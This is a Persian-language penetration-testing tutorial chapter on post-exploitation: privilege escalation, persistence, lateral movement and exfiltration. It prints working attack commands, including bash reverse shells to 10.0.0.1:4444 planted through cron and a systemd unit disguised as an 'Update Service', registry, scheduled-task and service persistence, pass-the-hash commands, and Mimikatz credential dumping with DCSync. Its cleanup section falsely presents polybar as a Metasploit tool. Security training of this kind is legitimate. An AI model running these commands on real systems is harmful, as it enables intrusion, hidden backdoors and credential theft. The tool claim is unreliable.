</>

لینوکس‌پارسی

مرجع فارسی آموزش لینوکس

Gentoo • Arch • Debian • Ubuntu • Kali • Parrot
پرش به محتوای اصلی

Command Palette

Search for a command to run...

فصل ۹: پس از استثمار

ارتقاء امتیاز در لینوکس و ویندوز (SUID، sudo، cron، kernel exploit، unquoted service path)، مکانیزم‌های تثبیت، حرکت جانبی با pass-the-hash و pass-the-ticket، استخراج داده و Mimikatz.

پیشرفته۱۸ دقیقه مطالعهآخرین بروزرسانی: ۸ تیر ۱۴۰۵ویرایش در گیت‌هاب

پس از استثمار چیست؟#

پس از استثمار (Post-Exploitation) مرحله‌ای است که پس از به‌دست آوردن دسترسی اولیه به یک سیستم شروع می‌شود. در این مرحله، تستر به سه پرسش بنیادی پاسخ می‌دهد: این سیستم چه ارزشی دارد؟ تا کجا می‌توان رفت؟ چگونه می‌توان دسترسی را نگه داشت؟

این مرحله شامل چهار فعالیت اصلی است:

۱. جمع‌آوری اطلاعات محلی: چه کاربری هستیم؟ چه دسترسی‌هایی داریم؟ چه سرویس‌هایی فعال است؟ ۲. ارتقاء امتیاز (Privilege Escalation): تبدیل دسترسی کاربر عادی به root یا Administrator. ۳. تثبیت (Persistence): اطمینان از اینکه دسترسی پس از ریبوت یا خروج حفظ می‌شود. ۴. حرکت جانبی (Lateral Movement): استفاده از دسترسی فعلی برای نفوذ به سیستم‌های دیگر در شبکه.

ارتقاء امتیاز در لینوکس#

یافتن باینری‌های SUID#

باینری‌های SUID با امتیاز مالک فایل (اغلب root) اجرا می‌شوند. اگر باینری SUID آسیب‌پذیر باشد یا امکان اجرای دستور با آن باشد، مسیر مستقیمی به root است.

# یافتن همه باینری‌های SUID
find / -perm -4000 2>/dev/null
 
# یافتن باینری‌های SGID
find / -perm -2000 2>/dev/null
 
# یافتن فایل‌های قابل نوشتن غیرعادی
find / -writable -type d 2>/dev/null

پس از یافتن باینری، باید در پایگاه‌هایی مانند GTFOBins بررسی کنید که آیا امکان سوءاستفاده وجود دارد. به‌عنوان مثال find، python، vim و nmap در حالت SUID همگی می‌توانند به root منجر شوند.

بررسی پیکربندی sudo#

# لیست دسترسی‌های sudo کاربر فعلی
sudo -l
 
# خروجی ممکن:
# User user1 may run the following commands on host:
#     (ALL) NOPASSWD: /usr/bin/vim

اگر کاربر بتواند بدون رمز برنامه‌ای مانند vim یا less را با sudo اجرا کند، می‌تواند با :!sh از داخل آن‌ها shell با امتیاز root بگیرد.

Cron Jobs و مسیرهای ضعیف#

# بررسی cron jobهای سیستم
cat /etc/crontab
ls -la /etc/cron.*
 
# یافتن اسکریپت‌هایی که با root اجرا می‌شوند اما قابل نوشتن هستند
find / -writable -type f -exec ls -la {} \; 2>/dev/null

اگر یک اسکریپت cron با root اجرا می‌شود و قابل نوشتن توسط کاربر عادی است، می‌توان خطی مانند bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 به آن اضافه کرد تا reverse shell با root اجرا شود.

Kernel Exploit#

اگر هیچ مسیر متداولی نبود، می‌توان از آسیب‌پذیری‌های کرنل استفاده کرد:

# مشاهده نسخه کرنل
uname -a
 
# جستجوی اکسپلویت
searchsploit linux kernel 5.4
 
# مثال معروف: DirtyCow (CVE-2016-5195)
searchsploit dirty cow

خطر kernel exploit

اکسپلویت‌های کرنل می‌توانند باعث کرش کامل سیستم یا پاک شدن داده شوند. هرگز روی سرور تولیدی بدون هماهنگی با مشتری اجرا نکنید. در OSCP از استفاده kernel exploit در امتحان نهایی پرهیز می‌شود مگر اینکه هیچ راه دیگری نباشد.

ارتقاء امتیاز در ویندوز#

مسیر سرویس بدون کوتیشن (Unquoted Service Path)#

اگر مسیر اجرایی یک سرویس دارای فاصله باشد و داخل کوتیشن نباشد، ویندوز مسیرها را از چپ به راست امتحان می‌کند. به‌عنوان مثال مسیر C:\Program Files\My Service\svc.exe به ترتیب C:\Program.exe، C:\Program Files\My.exe و سپس مسیر اصلی را امتحان می‌کند. اگر بتوانید در یکی از این مسیرها فایل اجرایی قرار دهید، آن با امتیاز سرویس اجرا می‌شود.

# یافتن سرویس‌های دارای مسیر بدون کوتیشن
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
 
# با PowerUp (PowerShell)
Import-Module .\PowerUp.ps1
Invoke-AllChecks

DLL Hijacking#

اگر برنامه‌ای به‌دنبال DLL در مسیرهای قابل نوشتن بگردد، می‌توان یک DLL مخرب با همان نام در آن مسیر قرار داد. این روش اغلب در برنامه‌های قدیمی یا سرویس‌هایی که در مسیر کاربر اجرا می‌شوند موفق است.

Token Impersonation#

اگر کاربر دارای امتیاز SeImpersonatePrivilege باشد، می‌تواند توکن فرایندهای سطح بالا (مانند IIS یا SQL Server) را جعل کند. ابزارهایی مانند JuicyPotato، RoguePotato و PrintSpoofer این حمله را اتوماسیون می‌کنند.

تکنیکپلتفرمپیش‌نیاز
SUID binariesلینوکسباینری SUID قابل سوءاستفاده
sudo misconfigلینوکسدسترسی sudo محدود
Cron jobلینوکساسکریپت قابل نوشتن
Kernel exploitلینوکسکرنل آسیب‌پذیر
Unquoted service pathویندوزمسیر بدون کوتیشن + قابل نوشتن
DLL hijackingویندوزمسیر قابل نوشتن در PATH
Token impersonationویندوزSeImpersonatePrivilege
AlwaysInstallElevatedویندوزتنظیم فعال در رجیستری

مکانیزم‌های تثبیت (Persistence)#

پس از ارتقاء امتیاز، باید اطمینان حاصل کنید که دسترسی پس از ریبوت باقی می‌ماند.

تثبیت در لینوکس#

# ۱. افزودن کلید SSH به root
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAA..." >> /root/.ssh/authorized_keys
 
# ۲. ایجاد cron job معکوس
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" >> /etc/crontab
 
# ۳. ایجاد سرویس systemd
cat > /etc/systemd/system/persist.service << 'EOF'
[Unit]
Description=Update Service
 
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
Restart=always
 
[Install]
WantedBy=multi-user.target
EOF
systemctl enable persist.service

تثبیت در ویندوز#

# ۱. کلید رجیستری Run
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Update /t REG_SZ /d "C:\malware\update.exe" /f
 
# ۲. Scheduled Task
schtasks /create /tn "Update" /tr "C:\malware\update.exe" /sc onstart /ru System
 
# ۳. سرویس ویندوز
sc create Update binPath= "C:\malware\update.exe" start= auto

حرکت جانبی (Lateral Movement)#

پس از تثبیت، تستر به دنبال گسترش دسترسی به سیستم‌های دیگر شبکه است.

Pass-the-Hash#

اگر هش NTLM یک کاربر را داشته باشید، می‌توانید بدون نیاز به رمز متنی، به‌عنوان آن کاربر احراز هویت کنید.

# با CrackMapExec
crackmapexec smb 192.168.1.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
 
# با Impacket psexec
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 Administrator@192.168.1.20

Pass-the-Ticket#

در محیط Active Directory، اگر تیکت Kerberos یک کاربر را استخراج کنید، می‌توانید آن را در حافظه سیستم دیگری بارگذاری کرده و به‌عنوان آن کاربر عمل کنید.

# استخراج تیکت با Mimikatz
mimikatz # sekurlsa::tickets /export
 
# بارگذاری تیکت در سیستم دیگر
mimikatz # kerberos::ptt [0;12345]-2-0-0-1234567890-admin@krbtgt-CORP.LOCAL.kirbi

Pivoting#

هنگامی که به سیستمی دسترسی دارید که به زیرشبکه دیگری متصل است، می‌توانید از آن به‌عنوان پرش (pivot) استفاده کنید. ابزارهایی مانند chisel، ligolo-ng و ssh -D تونل SOCKS ایجاد می‌کنند.

Mimikatz برای استخراج اعتبارنامه#

# استخراج رمزهای عبور در حافظه
mimikatz # sekurlsa::logonpasswords
 
# استخراج هش‌های SAM
mimikatz # lsadump::sam
 
# استخراج تیکت‌های Kerberos
mimikatz # sekurlsa::tickets
 
# DCSync (نیازمند DCAdmin)
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator

پاک‌سازی و پنهان‌سازی

در پایان هر تست، اطمینان حاصل کنید که همه بک‌دورها، کلیدهای SSH، سرویس‌ها و فایل‌های موقت پاک شده‌اند. در گزارش، مرحله cleanup را به‌طور شفاف ذکر کنید. ابزارهایی مانند polybar و sauroneye در Metasploit برای کشف اثرهای باقی‌مانده به کار می‌آیند. مشتری باید بداند که هیچ اثر مخربی باقی نمانده است.

استخراج داده (Data Exfiltration)#

دریافت داده از شبکه هدف بدون شناسایی، یکی از مهم‌ترین مراحل پس از استثمار است.

  • DNS Tunneling: ارسال داده در کوئریهای DNS به دامنه کنترل‌شده توسط مهاجم. ابزارهای dnscat2 و iodine.
  • ICMP Tunneling: پنهان کردن داده در پکت‌های ping. ابزار icmp-tunnel.
  • HTTPS Exfiltration: ارسال داده به یک سرور HTTPS قانونی به‌نظر می‌رسد. ابزار powercat یا اسکریپت‌های PowerShell سفارشی.

تمرین عملی — ارتقاء امتیاز#

یک ماشین مجازی لینوکسی (مانند Metasploitable 2 یا یک VM از HackTheBox) راه بیندازید و این مراحل را دنبال کنید:

# ۱. شناسایی کاربر فعلی
id
whoami
uname -a
 
# ۲. یافتن SUID
find / -perm -4000 2>/dev/null
 
# ۳. بررسی sudo
sudo -l
 
# ۴. جستجوی kernel exploit
searchsploit linux kernel $(uname -r | cut -d- -f1)
 
# ۵. بررسی cron
cat /etc/crontab
ls -la /etc/cron.*

خلاصه و گام بعدی#

در این فصل با چهار رکن پس از استثمار آشنا شدید: جمع‌آوری اطلاعات، ارتقاء امتیاز (با SUID، sudo، cron، kernel در لینوکس و unquoted path، DLL hijacking و token impersonation در ویندوز)، تثبیت (با cron، SSH keys، systemd، رجیستری Run و scheduled tasks) و حرکت جانبی (pass-the-hash، pass-the-ticket و pivoting). Mimikatz همچنان قدرتمندترین ابزار استخراج اعتبارنامه در ویندوز است.

در فصل بعد، با سرریز بافر آشنا می‌شوید؛ جایی که با ساختار حافظه، زنجیره NOP و کد پوسته به‌صورت عملی درگیر می‌شوید و مکانیزم‌های دفاعی مانند ASLR و DEP را بررسی می‌کنید.

اشتراک‌گذاری:

این صفحه در تاریخ ۸ تیر ۱۴۰۵ به‌روزرسانی شده است.